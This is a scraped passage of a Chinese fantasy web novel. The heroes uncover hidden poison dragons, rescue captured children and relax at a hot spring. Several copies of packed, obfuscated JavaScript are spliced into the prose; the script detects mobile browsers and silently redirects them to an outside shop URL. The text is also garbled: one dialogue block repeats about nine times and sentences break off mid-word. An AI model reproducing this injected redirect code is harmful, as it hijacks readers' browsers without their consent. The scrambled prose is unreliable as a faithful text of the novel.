巫曦心中奇怪,他蹲下细看,唯见空缺处的土地隐隐泛出奇怪的黑色,再抓起一把泥土细嗅,他闻到了一股很淡,然而不可忽视的腥苦气息。 “这是……有毒?巫曦皱起眉头,放眼望去,山脚下的茴香就像某种引路的地标,将那一块块斑秃暴露得明显。 他好奇地跟过去,说到底,他本就是个小孩子,又是天不怕地不怕的性格,如今多了个孔宴秋,把他当成宝贝一样娇惯,巫曦更是什么都想摸一摸,什么都要探一探了。 孔雀还在云间巡梭,他则好奇地沿着茴香丛的位置走过去,七拐八拐,终于在山岩的缝隙处,发现一条曾经开辟,如今用巨石堵住的通道。火山颜色深邃,不仔细看,还真看不出来。 巫曦侧耳倾听,没听到什么动静,他再嗅闻,其余杂乱的味道,全被浓郁的硫磺气味所掩盖。 要下去看看吗? 巫曦挠挠下巴,瞧见巨石缝儿里刚好有条可供一人通过的小径,心里顿时痒痒的。 “孔宴秋!他抬头望天,因为不知道洞里有什么,担心打草惊蛇,他呼唤的声音很小,“孔宴秋、孔宴啾! 彼时,孔宴秋正在高空中悬停,面前是三头业摩宫妖鸟,正向他留神汇报。 孔宴秋没有看重的亲信,也就无所谓谁要争宠,谁要上位。他对业摩宫的禽鸟统统一视同仁,那就是谁敢扰乱他的视线,在他跟前现眼,他抬手就烧死谁。 因而业摩宫的职场氛围居然还比较和谐,大家都以保命为主,就先不去搞那些花里胡哨的倾轧阴谋了。 “尊主,您一走就是大半年,宫里头渐渐异心浮动,有流言纷传,说您要放弃业摩宫的基业。鬿 雀小心翼翼地道,“他们还说,与其这样,不如趁早另谋出路……” 孔宴秋的表情淡漠,眼皮都不抬一下。 “蛊雕一族的议论是最多的,”酸与接着道,“他们早有筹谋,意欲脱离业摩宫,与小次山上的朱厌联合。尊主,您万万不可助长这股离心离德之风气,卑职斗胆,还望您早日回到业摩宫,亲手料理了那些宵小,方为长远之计。” 离心离德?你们还有什么心,能有什么德? 一听见对方催促自己尽快回到业摩宫,孔宴秋心中便是一阵莫名暴涨的戾气和杀意。他不动声色地慢慢抬手,在指尖玩弄起一朵未成形的五蕴阴火。 鬼车的九个头相互顾盼,嗓音嘲哳:“凫徯也在其中兴风作浪,不过,兴起干戈乃是他们这一族的天性,卑职认为,或许他们只是习惯性地参与到其间胡闹……” 孔宴秋脸上还是没什么表情。 “说完了?”他问。 下属们面面相觑,不知道该回答什么。 纵然这几个月以来,杀星肉眼可见的心情很好,他变得更宽容,态度更松弛,似乎也更讲道理了。可碍于他的累累前科,妖鸟们还是不敢过多期盼这只黑孔雀反复无常的善心。 “下次讲点更重要的东西,”孔宴秋漠然道,“别为了这点事来浪费我的时间。” 更重要的东西?谋逆叛党都不算重要了,那还有什么是更重要的?调料,皮毛枕头和小孩衣服吗? 妖鸟在心中狠狠腹诽,只是不敢明着表现在脸上,孔宴秋接着问:“金曜宫动向如何?” “还是老样子,”酸与汇报道,“龟缩着闭关不出,不问世事。如今算来,大雪山的金门也有三百多年不曾开启了。” 孔宴秋来回转着爪尖的一朵五蕴阴火,仿佛那是什么脆弱娇嫩的名花。他的眼神冷得可怕,瞳孔里空荡荡的,什么东西都照不出来。 这极有可能就是他要纵火行凶的先兆了,妖鸟们收紧双翼,脚爪蜷缩,后背紧绷,时刻准备着一飞冲天着逃跑……或者垂死挣扎着尖叫。 五蕴阴火翻滚的频率越发暴烈,越发难以遏制,突然,孔宴秋的耳朵尖一动,闪电般低头,看向大地。 他掌中的毒火瞬间熄灭了。 他没有对这些劫后余生的下属再多说一句话,而是一振双翼,尾翎甩动,在苍穹中带起数道优雅的云痕,俯身飞向地面。 黑孔雀的身影在火山上盘旋片刻,找到了那个呼唤自己的声音。 “怎么了?”他落在地上,看见巫 曦正扒在大石头的缝隙上,探头探脑地往里张望。 巫曦抓起一把泥土,凑到他鼻子前头:“你闻,这是什么味道? 孔宴秋虽然不解,还是依言凑过去,轻轻一嗅。 “有毒?他皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我的老天,巫曦喃喃道,“这是谁修建的地道,莫不是供巨人出入使用的? 地道内的空气浑浊难闻,巫曦不得不屏住呼吸,孔宴秋即刻挥动双翼,带来一阵清新强劲的风。 “不,这不是给人走的路, 巫曦点燃灵火,照亮了黑暗的空间。 他凑近了观察,发现石壁上的刮痕呈现出横向的流线型,而且间隔很宽。他猜测道:“看起来,应该是某种很大的蛇……?会是 什么呢,巴蛇?肥遗?鸣蛇?” 孔宴秋摇摇头,却没有说自己的结论:“再往前看看。” 抱着巫曦,他在宽阔的隧道里展翼飞翔,顺着沿途的痕迹一路追踪。山体内部的隧道错综复杂,可最终都汇聚往一个方向。 “你听,”巫曦在他耳边说,“有暗河的声音。” 这倒是真的,地下河道暗流轰鸣,发出水势极大的浩瀚动静。随着他们往下的深度逐渐增多,空气中的腥苦味道也愈发浓重。巫曦不得不捂着鼻子,把脸扎进孔宴秋浓密的头发里,而孔宴秋却精神百倍,仿佛追踪到了某种极其适口的食物香气。 最后,他们停在一条汹涌咆哮的暗河面前。 不知是天然如此,还是被毒液染成,整条河流都显示出墨汁般诡谲的纯黑色。 透过犹如雷鸣的水流冲撞声,巫曦听见有什么东西在远处说话。 “……立刻赶往……王上的命令不得有违……” “此举太过冒险……” “……已经数百年不曾开启……你太胆小……” “……即便如此,还是不能被金曜宫发现,那些扁毛畜生……” 孔宴秋的身体慢慢绷紧了。 他的双目紧紧盯着河道的另一头,随着来者逐渐接近,谈话的声音也更加清晰。 巫曦专注地睁大眼睛,看见两条黑紫相间的巨大生物,自隧道另一头缓缓飞出。它们头顶独角,鬃毛翻扬,驼鼻狮口,似龙似蛇,浑身的鳞片漆黑如墨,样貌狰狞而可怖,但又隐隐带着邪异的威仪。 他悄声问:“它们是什么东西?我以前竟未曾见过。” “毒龙。”孔宴秋哑声道,“它们就是俱时龙王的后裔,曾经为孔雀所捕食殆尽的毒龙。” 作者有话要说 第 49 章 净琉璃之国(十七) “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151535|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” “毒龙!”巫曦不由讶然,他急忙压低了声音,悄悄打量下面两条毒龙的样貌,“不会吧,它们不是被吃绝种了吗?” “那已经是很久之前的事了,”孔宴秋低声道,“俱时龙王的血脉,繁衍能力惊人,倘若龙王当时从金曜宫孔雀的围剿下逃走,也是极有可能的。” 注视下面两条施施然经过,全然不知天敌就在头顶窥伺的毒龙,他忍不住喃喃道:“毒龙已经不敢在地面上大张旗鼓地出现了,长久以来,它们就是采用如此掩人耳目的手法,利用地下暗河,在地底重建了它们的王国……” 第 50 章 净琉璃之国(十八) 巫曦上了岸,急匆匆地查看那些神人幼童的情况。他们不知被掳来多久,许多都渴得脱水,饿得脱相,更有许多至今昏迷不醒,软软地倒在地上。 在他身后,只听淋漓的皮肉撕扯声,黑孔雀半张着双翼,盘踞在俱时协罗的宝座上,已经把毒龙王子吃了一半,半截龙尸血淋淋地挂在上面,眼珠子都被叨出来咽了。 余下几头毒龙要么吓的,要么被神光打的,俱昏死在黑潭边上。孔宴秋两口吞掉龙心,又用爪子按着抽了龙骨,去嚼里头的龙髓。 空气中满溢着腥苦的浓浓血味,黑孔雀抬起头,满头满脸是血,锋利的鸟喙上更是黑血横流,它惬意地摇摆着盛大灿烂的尾部饰羽,头顶碎金色的冠羽簌簌作响。 “孔宴秋,别吃啦。”巫曦头也不回地叫喊道,“快来看看这些小孩儿!” 听见他的呼喊声,孔宴秋总算拉回了过于陶醉的心神,黑孔雀飞下俱时协罗的残尸,在半途中变回人形,降落在巫曦身旁,抹了把脸上的龙血,舔干净爪子,勉强算是打理了一番。 “他们被关得太久了,”孔宴秋道,“等我们出去,着人挨个送还就行了。” “到哪里找人呢?”巫曦抬起头,不解地问,“我们现在的位置,距离神人诸国如此遥远……” 孔宴秋一时语塞。 长久以来,他始终没有挑明业摩宫的事,一来因为在他心里,无论是业摩宫,还是业摩宫的妖鸟禽兽,全是上不得台面的东西,不配拿到巫曦面前说项。坦白地讲,他实在厌烦那个地方。 二来,则是他自己的私心。大荒纵然广袤无垠,但以业摩宫的本事,要定位到一个神人的国家,将走失的王室成员送回长留,实在是易如反掌的小事,只是唯有一点。 ——他不愿将巫曦送还。 他们相互依偎,相互扶持,彼此照料着,在大荒的雪原上安顿出温馨的小家,这就是孔宴秋所期望的一切了。他怎么可能再让巫曦重新回到他的国度,去做那个倍尝冷眼,受父兄宫人轻视的小小王子? “我……”他定了定神,找补道,“大荒中总有待人友善的驮兽,只消交予它们一些报酬,便可听候差遣。” 巫曦的眼睛亮了:“对啊!你说的有道理,咱们就这么办。” 他站起来,转头看见毒龙王子的残躯,顿时龇牙咧嘴的:“哎哟,真是埋汰!快把你的饭处理一下,别叫剩下的毒龙跑了。” 说到这儿,他心头升起一阵忧虑,巫曦担心地说:“今日我们放跑了俱时龙王的寿礼,还杀 了它的大儿子,只怕会后患无穷。 “……算了!不等孔宴秋回答,他自己先多云转晴,兀自开朗起来,“我要救小孩儿,你要吃毒龙,都是由不得人的事。已经到这地步了,再想东想西也没用。 跟巫曦在一起生活了快一年,孔宴秋身上的戾气仍然难以消解,他杀死毒龙的手段也未免太过凶残,可是在巫曦心里——或许是明目张胆的偏爱吧——他并不觉得孔雀吃掉毒龙,是一件需要大肆谴责的恶事。同理,通过孔宴秋的只言片语,他同样不觉得黑孔雀就是金曜宫的所谓“罪果。 “纸包不住火,俱时龙王早晚有一天会知道真相。孔宴秋道,“但人救了,儿子也吃了,它纵有通天彻地之力,又岂能叫时光倒转,江水回流? 说到这,以免夜长梦多,他直接将剩下的龙全部按死,鸟喙砸烂龙首,将脑浆亦喝得磬尽,才算没有留下活口。 巫曦:“现在先不管那么远的事了,我们得把这些小孩儿带出去。 “交给我。孔宴秋略一颔首,他变化出大孔雀的真身,让巫曦乘在他的脖颈上,余下的神人幼童,他用尾翎轻轻一拂,便以神光尽数卷起,向外飞去。 龙肉可以回来再吃,但是巫曦焦心的事,最好还是尽快办完。 他飞出地底隧道,将那些幼童连并巫曦一起,俱放在火山脚下。 “我去找驮兽,去去就回,你在这里待着,不要乱走。孔宴秋叮嘱道,他担心还有多余的毒龙,又折下自己的一枚尾翎,交到巫曦手中。 “如果有危险,挥挥它,他郑重其事地道,“残存的神光无法奈何成年的强大妖兽,不过应对毒龙,已是绰绰有余了。 “好,巫曦点头,“我记住了。 孔宴秋盘旋而起,饰羽翻卷,大翼张扬,巫曦无从得知其他颜色的孔雀都是什么模样,但黑孔雀徘徊翱翔的姿态顾盼威仪,简直美得令人胆寒。 孔宴秋一振羽翼,升上云端,先前等候在这里的下属还没有离去,他们先是听见火山内部传来的巨大撞响,良久之后,再见孔宴秋以真身的姿态出现在他们面前,全身裹挟着浓烈的,腥苦的血气,不由骇了一跳,下意识向后退避。 “去找三十头会认路,能日夜兼程不休的驮兽,不论报酬,尽快筹来。黑孔雀口吐人言,喑哑地道。 鬼车惊骇地问道:“尊主,到底发生了何事? 黑孔雀暗金色的眼瞳冷漠无比,不过这一次,他没有嫌恶下属的多嘴多舌,孔宴秋简洁地回答:“有毒龙 出没。再着人沿着地下河道追踪,我要知道这条暗河究竟是通到哪里的。 “毒龙?鬿雀十分讶异,“它们不是早就被…… 金曜宫的名字到了嘴边,觑见黑孔雀的眼神,复又生生地咽了下去,选择另起话头,控诉道:“尊主,今日的火山热泉,乃是蛊雕一力找寻,为了表功讨赏,他们连最基本的排查检阅都没有完成,便急着邀您前来。可见……! 然而话未说完,孔宴秋的尾翎重重一甩,已然将他抽得倒摔出去,长羽乱飞,口鼻溢血,险些在空中控制不住翅膀。 “去找,驮兽。孔宴秋阴冷地复述道,“是不是要让我重复第三遍,你们才知道应该按我说的去做? 说到底,大雪山孔雀乃是明王后裔,血脉中涌动的古老尊荣,更在大荒妖兽之上。此刻他现出真身,在场的三头大妖同时觉得难以呼吸,更无法直视他妖异的双目。 其余二妖一声不敢吭,赶紧裹着被打飞出去那个倒霉蛋,头不敢回地找驮兽去了。 交待完毕,孔宴秋才重新飞回巫曦身边,他离开的时间不长不短,巫曦已经把这些小孩的人数清点完了。不知是被毒龙吓傻了还是怎么了,即便是醒着的幼童,此刻也浑浑噩噩,不敢看人,不敢说话。 “一共有一百六十七个小孩子,巫曦忧心忡忡地道,“有二十四个发起高烧,应该烧了好些天了,现在找不到药可以治疗他们。驮兽的数量够吗? “肯定够的。 不多时,三十多头长毛过膝,后背高高隆起的驼牛,便当真来到了火山脚下。 “果然来了!巫曦惊喜地跳起来,“你是怎么找的,竟来得这么快! 算他们办事得力。 孔宴秋冷冷地瞥了天上的妖鸟一眼,低头看向巫曦时,又是眸光温和,耐心至极的样子。 “金银珠玉,奇珍异宝,他说,“无非是些身外之物,我们不需要,但是拿来换一换人情,还是很值当的。 巫曦非常认同他的说法,两人齐心协力,按照神人幼童的特征和国籍,分批次放进驼牛的长毛里。 驼牛构造奇异,不仅日行千里,内脏还与寻常牲畜的生长方向完全相反,因此肚腹处没有肠胃,只有一个空置的巨大凹陷,可以将人或者货物安置在其中。它们的长毛厚如毡毯,盖上之后,即便在大雪天,亦能无所顾忌地运输活物。 “这些是西陵国的孩子,巫曦清点完毕,将他们放进驼牛的肚皮里,用长毛盖好,“麻 烦你们了,请在路上给他们喂些食水,务必快点送到。 四头驼牛沉默地颔首,转身离去,孔宴秋再往天上一瞥,云端群鸟纷纷,顿时飞下数只影子,跟随护卫在驼牛上空。 “这些是厌火国的孩子。巫曦再将这些皮肤黝黑的小孩子放进驼牛。 “这些是青要国的小孩子。 “这些是招摇国的。 在他和孔宴秋的努力下,空地上只剩下最后十六个肤色苍白,神态萎靡的幼儿。 “这些是…… 巫曦蹲下来,握住他们的手,不由迟疑了。 “……这些是长留国的孩子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巫曦心下了然,挥挥手道:“那……你去吧!别撑得吃不下我的温泉蛋就好。” 受到他的调侃,孔宴秋也不恼,他微微一笑,用芥子术取出这次度假的毛巾和新衣服,并着一筐小蛋,给巫曦放在旁边,然后再展翼飞下山岩。 巫曦快乐地把自己脱得光溜溜,毫不犹豫地跳下水。 “嗷,好烫!” 扯着嗓子喊了一声,他便心满意足地扯过一条毛巾,盖住岸边的岩石,把头垫在上面,惬意地享受热水的冲刷。 天上的落雪一刻不停,只是泼洒到火山上空,便被蒸腾的高温融化,化作丝丝细雨,轻轻飘落在巫曦的脸上,肩膀上。 泡在滑润熏热的山泉里,感受天空飘拂的凉悠悠的小雨,真是人生的一大乐事。 没过一会儿,孔宴秋就化作原形飞上来了。大孔雀带起一阵血雨腥风,一头攮进旁边的池子里,瞬间洗得黑红四溅,巫曦滋儿哇叫道:“你那边的脏水都泼到我的池子来了!” 黑孔雀从池子里举起一颗鸟头,无辜地“嘎?”了一声。 “嘎!”巫曦气得拿毛巾围在腰间,跳起来就冲孔宴秋泼水,“你还嘎,你还好意思冲我嘎……我今天就要替天行道!” 一个举着盆狂泼,一个张着翅膀乱掀,顿时将两座不大的温泉池子搅得风云变色,地覆天翻。 巫曦:“啊哒哒哒哒——” 孔宴秋:“啊呸呸呸,什么东西!” 巫曦:“是我的愤怒!接招吧孔宴啾!” 巫曦骑着倒挂的空木桶——原本是用来装温泉蛋的——从半空中英勇地降落进敌方的水池子,并且十分戏剧性地与敌方的羽毛翻滚、纠缠。而孔宴秋佯装不敌——或者说真的不敌——十足虚弱地倒在池边,往嘴里咳出许多破碎的蛋壳。 毋庸置疑,邪恶瘦香肠的实力不容小觑,在和黑孔雀的战斗中,又一次取得了胜利。 作者有话要说 【啊啊啊感谢大家昨天的营养液……!祝大家看文愉快!】 第 51 章 净琉璃之国(十九) 经过一番世界大战,先前的两个池子实在是被祸祸得不能看了,两人遂集体迁移,转换阵地。 “有守生在,我不怕毒龙报复。安静下来之后,巫曦趴在池边,在他对面,孔宴秋也学着他的姿势,往池子边上趴着,“可它们真的敢吗?我的意思是,天上明明还有个金曜宫…… 整个大荒,恐怕只有巫曦能如此轻松地在孔宴秋面前提及金曜宫的名字了。 “金曜宫不会出手的,孔宴秋摇头道,“他们自觉犯下的杀业太重,如今毒龙刚刚繁衍出气候,他们必定对此视而不见,继续紧闭门扉,做他们的缩头乌龟。 “明明那些毒龙也不是什么良善之辈,巫曦迟疑道,“那个俱时协罗口口声声,说它父亲喜欢活剖小儿心肝,我不觉得让它们活着是件好事。 孔宴秋叹了口气,轻声道:“是的,你说的没错。毒龙为祸大荒,戕害生灵,可金曜宫孔雀剿灭它们,难道是为了主持正义吗?恰恰相反,他们屠杀毒龙,不过是为了一己口腹私欲——就像今天的我一样。 他露出苦涩的神情:“说到底,我和他们也并无不同…… “不啊!你怎么会和他们一样呢?巫曦立刻反驳,“你有我,这就是你和他们最大的不同之处啦! 他说得理直气壮,温泉间白雾弥漫,孔宴秋不禁一愣,而后微笑着应和:“是是,殿下高瞻远瞩,我是万万想不到这一层的。 “略——巫曦冲他吐舌头,“我才不是什么‘殿下’呢! 他用脚趾头踩着泉水,忍不住忧心忡忡地问:“不过,听你这么一说,那个俱时龙王既然能从那么多孔雀手底下……嘴底下逃出生天,必定很有手段,它……它肯定会知道我们干的事,对不对? 孔宴秋垂下眼睛,半晌,他摇摇头。 “我不知道。他说,“按常理来看,我是孔雀,是毒龙避之不及的天敌,它们应该不敢找来报复;可从感性上讲,俱时协罗是龙王的大儿子,又被它父亲养得如此壮硕肥美,受重视程度可想而知…… 巫曦:“等一下,受重视程度不是这么算的吧。 孔宴秋沉思片刻,道:“我们兵来将挡,水来土掩即可。 在内心里,他已经打定主意,只要毒龙危及到巫曦的安全,他便立刻带着神人撤回业摩宫。尽管他实在不想回到那里,但只要巫曦是安全的,自己就可以安心下来,慢慢地着手收拾那些毒龙。 “唉,也只能这样啦。 舒展开来,仿佛没有什么愁绪,能在他光洁的眉宇间停留太长时间,“反正他们要来就来,我倒不是很担心,大不了我们就跑嘛,守生开着,他们破坏不了屋子,我们随便飞到哪个地方去,它们还能追得上我们吗? 孔宴秋口角含笑,认真地说:“你说得很对,咱们就该这么办。 深夜里,巫曦身上缠着一条毛巾,和湿漉漉的孔宴秋坐在岸边。他们点燃一盏青玉小灯,再你一个,我一个地分享温泉蛋。 灯火将四周照得明亮而温馨,映着天上飘落的雨丝,他们则把腿放进热泉当中,一边闲适自在地踢着水玩,一边吃热腾腾的流心温泉蛋,简直舒服得没边儿了。 夜更深了,他们也不打算回去。这一次,两人做足准备,将一叠厚厚的兽皮褥子带来这里,在山岩下面铺成小床,再支起树干,往上面笼一层迷蒙的纱帐,这便是一顶野营的帐篷了。 巫曦绞干湿漉漉的头发,换上睡衣,钻到又软又厚的暖和兽皮上面,招呼孔宴秋:“快来躺下啦。 于是,孔宴秋也甩干羽毛上的水珠,掀开纱帐钻进来。 巫曦调小了灵火,让灯光变得如月色般朦胧。他笑嘻嘻地躺在孔雀翅膀下面,夜晚静谧安宁,不远处,热泉汩汩地发出些玲珑清脆的水声。 “真好呀,巫曦叹气,“躺在这里,好像世界上所有的烦恼都离我而去了。嗯……虽然我也没什么烦恼就是了。 这么好,你还想家吗? 听见他这么说,孔宴秋的脑袋里瞬间蹦出这个试探的问题。 不,不能这么直白。应该说,你还想回长留吗?既然你的父亲不喜欢你,那里又少有对你好的人,不如就跟我一直在一起,我会和你分享我拥有的一切事物…… 不不不,这么说也不妥当…… 孔宴秋的脑子里来回转着乱七八糟的纷杂念头,巫曦看出他的心不在焉,便问:“怎么了? “我,孔宴秋张了张嘴,“我在想一件事。 “一件事,什么事? 孔宴秋迟疑半晌,还是选择委婉地切入话题:“今天,你不是看到了一些长留的孩子…… “哦,那个呀,他还在那边想方设法地含蓄,巫曦快人快语,已经挑明了道,“你是不是想问,我有没有想家,打不打算回长留,对不对? 他这么直截了当地戳破了自己的心思,孔宴秋登时被噎得不知该说什么才好。 巫曦叹一口气,黯然道:“我当然想家了,世上漂泊的浪子,没有人会不 思念家乡的。” “可是……!”孔宴秋的翅膀扑扇一下急了“可是你也说了你生父还有长留王宫里那些拜高踩低的小人——” “我晓得你先听我讲。”巫曦安抚道“没错我的父王不喜欢我我的兄长无视我宫人大臣看不起我但排除他们还是有很多人一直呵护我爱着我。我阿嬷已经年老我真的不敢想象她知道我丢失的消息之后会有多么伤心。” 孔宴秋的嘴唇微动他的心直直坠进无底深渊一瞬失落至极连开口的力气都提不起来。 “但是我也不能就这么离开你啊”巫曦接着道眼神亮晶晶的“你是我最好的朋友我答应你了要把你的病治好的。说出去的话就是泼出去的水怎么能违约反悔呢?” 孔宴秋晦暗阴冷快要梗死的一颗心忽然就松活了起来像是照进了一束阳光。 巫曦慰藉地摸摸他的羽毛:“而且我不是说了嘛等你痊愈了就带你回我的家里看看司膳肯定会很喜欢你的!” 孔宴秋的心脏忽上忽下只随着面前这个小小神人的话语和言行而跳动。上一刻巫曦才表露出思念故国准备离开的念头他便窒息地眼前发黑透不过气来下一刻巫曦就轻松地打消了他的疑虑让他立刻觉得自己如获新生仿佛重新活过了一回似的…… 他张开手爪重重地将巫曦搂在怀里 小坏蛋孔宴秋气恼地想他想说些什么可是嘴上、心里翻来覆去只能喃喃地咀嚼念叨着一个词。 ……小坏蛋。 直至两人回到家中平安无事地生活了数周孔宴秋的情绪才有所好转。为了让他转变心情巫曦决定给他找点事情做。 “铛铛铛!”他举起一个套盒向孔宴秋展示“看木雕盒子!” 孔宴秋不解地仰起脸巫曦打开给他看:“这是小刀这是木头块这是木炭笔都是以前我无聊的时候解闷的工具。那时候你还没醒我找不到人说话发现雕木头可以让人集中注意力变得平心静气。来你也试试。” 孔宴秋愣愣地低头看木头块又抬头看他。 “快试试啦。”巫曦催促道。 其实巫曦是包含着一点坏心眼的。 但凡初学者雕出来的东西总是歪歪扭扭不成个样子到时候他就可以指着孔宴秋的作品大肆嘲笑一番然后再拍着他的肩膀语重心长地说一些“ 世事岂能皆顺遂人意“要接受人生中的不完满和缺憾 “雕好了。孔宴秋说,举起一个造型灵动,栩栩如生的巫曦小人像。 巴掌大的木头小人,五官活泼,四肢匀称,手指根根分明,完美得简直闪着金光,冒着彩虹。 巫曦:“? 巫曦眼睛瞪得像铜铃:“这怎么可能! 他难以置信地跳起来,抓过来翻来覆去地看,孔宴秋放下小刀,吹掉手上的木屑,表情纯良地望着他。 “你你你,巫曦气急败坏地指着他,“你怎么雕得这么好! “以前我也是孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202976|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身一人啊,孔宴秋无辜地说,“闲下来的时候难免无聊,就磨磨爪子,随便做点东西解闷儿。长年累月,练就的这点本事也不足为奇吧。 ……这下踢到铁板了! 巫曦噘着嘴,把手里的小木雕看了一遍又一遍,孔宴秋觉得好笑,但是也不戳穿他的小小坏心眼。 带着好奇,他在盒子里翻动着木头块,看能不能找到巫曦的作品,结果还真叫他找到了。 “这是什么?孔宴秋惊讶地从角落里抠出一只奇奇怪怪的木雕,说飞鸟不像飞鸟,说鸡不像鸡,头上的眼睛一大一小,脖子长长的,身体又圆又胖,还拖着个波浪形的短尾巴。 “啊!巫曦大叫起来,跳到孔宴秋身上去抢那个古怪的小玩意儿,“我不许你看,不许看! 孔宴秋伸长手臂,一只手护着他,免得他从自己身上掉下去。 “怎么啦?孔宴秋眯着眼睛,仔细端详着木头的形状,“这到底是什么东西啊,是鸟吗? 一想到这可能真是某类身份不明的陌生鸟,他突然变得十分警惕。这怪模怪样的,难道是以前养过的宠物?就是不知道是什么品种的丑鸟,还看得这么宝贝…… 思及此处,孔宴秋心头酸溜溜的,真是越看这个木雕越不顺眼,好想一口把它的头咬掉。 巫曦抢也抢不过他,只得气哼哼地往他腿上一墩:“我说了,你可不准笑话我?你要是笑话我…… 他威胁地戳戳孔宴秋的胸口:“我就三天不理你! “好好,孔宴秋答应他,“你说吧,我绝对不笑话。 巫曦红着脸,恶声恶气地说:“……是你。 孔宴秋:“啊? 